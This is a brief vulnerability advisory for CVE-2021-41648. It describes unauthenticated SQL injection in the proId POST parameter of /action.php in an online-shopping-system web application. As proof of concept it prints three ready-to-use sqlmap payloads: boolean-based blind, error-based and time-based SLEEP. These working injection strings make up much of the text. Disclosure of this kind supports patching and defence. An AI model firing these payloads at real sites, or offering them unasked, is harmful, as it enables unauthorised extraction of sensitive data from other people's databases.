/CVE-2021-41648

CVE-2021-41648

CVE-2021-41648 SQL Injection in online-shopping-system

The online-shopping-system is vulnerable to un-authenticated error/boolean-based blind & error based SQL Injection attacks.

The proId parameter on the /action.php page does not sanitize the user input, an attacker can extract sensisitive data from the underlying MySQL Database.

Link To Application

online-shopping-system

Affected Components & Parameter

URL: /action.php
PARAMETER: proId

Poc's

SQLMAP PAYLOADS

proId parameter on the /action.php page

Parameter: proId (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1

Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: proId=61 OR 17-7=10' AND (SELECT 2990 FROM (SELECT(SLEEP(5)))YhWy)-- xWNo&addToCart=1

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POC - proId

Discovered by

Jason Colyvas
MOBIUSBINARY
September 21st, 2021